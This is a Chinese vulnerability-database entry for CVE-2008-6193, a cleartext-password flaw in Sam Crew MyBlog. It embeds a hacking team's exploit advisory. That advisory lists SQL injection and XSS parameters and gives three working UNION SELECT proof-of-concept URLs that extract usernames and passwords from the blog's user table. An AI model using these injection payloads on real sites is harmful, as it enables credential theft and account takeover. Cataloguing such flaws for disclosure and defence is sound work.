Sam Crew MyBlog 'cleartext'敏感信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1183631 漏洞类型 加密问题
发布时间 2009-02-19 更新时间 2009-02-19
CVE编号 CVE-2008-6193 CNNVD-ID CNNVD-200902-420
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://www.securityfocus.com/bid/80742
https://cxsecurity.com/issue/WLB-2009020209
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-420
|漏洞详情
SamCrewMyBlog是一款小巧易用的个人博客管理工具。SamCrewMyBlog在一个MySQL数据库的cleartext中储存密码,这会允许见机行事的攻击者获得敏感信息。
|漏洞EXP
=====================================================================================
  MyBlog: PHP and MySQL Blog/CMS software (SQL/XSS) Multiple Remote Vulnerabilities
=====================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 23 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : MyBlog: PHP and MySQL Blog/CMS software
 DOWNLOAD    : http://downloads.sourceforge.net/myblog
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

----------
 Exploits
----------

[+] http://[Target]/os/index.php?view=[SQL Injection]
[+] http://[Target]/os/member.php?id=[SQL Injection]
[+] http://[Target]/os/post.php?id=[SQL Injection]

   **This exploits can get username and password (No Encryption)**

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/os/index.php?view=cwh'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1
[+] http://192.168.24.25/os/member.php?id=-9999'/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,email,5,6,7,8,9,10/**/FROM/**/myblog_users/**/WHERE/**/perm='1
[+] http://192.168.24.25/os/post.php?id=-9999'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1



--- Remote XSS ---

----------
 Exploits
----------

[+] http://[Target]/os/index.php?s=[XSS]
[+] http://[Target]/os/index.php?sort=[XSS]
[+] http://[Target]/os/post.php?id=[XSS]


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

|受影响的产品
MyBlog MyBlog 1.1
|参考资料

来源:XF
名称:myblog-password-information-disclosure(48843)
链接:http://xforce.iss.net/xforce/xfdb/48843
来源:MILW0RM
名称:5913
链接:http://www.milw0rm.com/exploits/5913